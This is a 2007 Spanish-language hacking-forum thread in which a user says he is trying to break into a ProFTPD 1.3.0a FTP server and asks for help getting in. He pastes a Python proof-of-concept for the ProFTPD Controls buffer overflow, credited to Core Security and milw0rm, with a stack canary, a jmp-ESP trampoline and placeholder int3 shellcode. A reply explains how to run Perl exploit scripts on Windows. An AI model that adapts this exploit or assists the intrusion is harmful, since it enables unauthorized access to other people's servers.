elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:42  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  xploit ProFTPD 1.3.0a
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: xploit ProFTPD 1.3.0a  (Leído 2,246 veces)
likeu

Desconectado Desconectado

Mensajes: 75


¡Amo YaBB SE!


Ver Perfil
xploit ProFTPD 1.3.0a
« en: 30 Abril 2007, 13:33 »

Penetrando un  FTP server  ProFTPD 1.3.0a Server (ProFTPD zco)

Encontre en milliworn un par de exploits para ese ftpserver pero estan en perl y la verdad qeu desconozco.
Ademas que no tengo compilador y, ademas que no se como se usaria tongue

Quisiera que alguien me ayude para lograr entrar al FTP, o que me den una manito para de a poco sumar y lograr hacer algo :$

Citar
#    Core Security Technologies - Corelabs Advisory
#    ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
       os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished
#
s.close()

# milw0rm.com [2006-12-13]
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: xploit ProFTPD 1.3.0a
« Respuesta #1 en: 30 Abril 2007, 16:38 »

Instala ActivePerl y luego procesa los códigos perl, tratandose de Microsoft Windows y con la configuración por defecto, de esta manera:

Código:
C:\perl\bin\perl.exe code.pl
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ProFtpd
Redes
aldg 0 601 Último mensaje 31 Agosto 2011, 14:28
por aldg
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines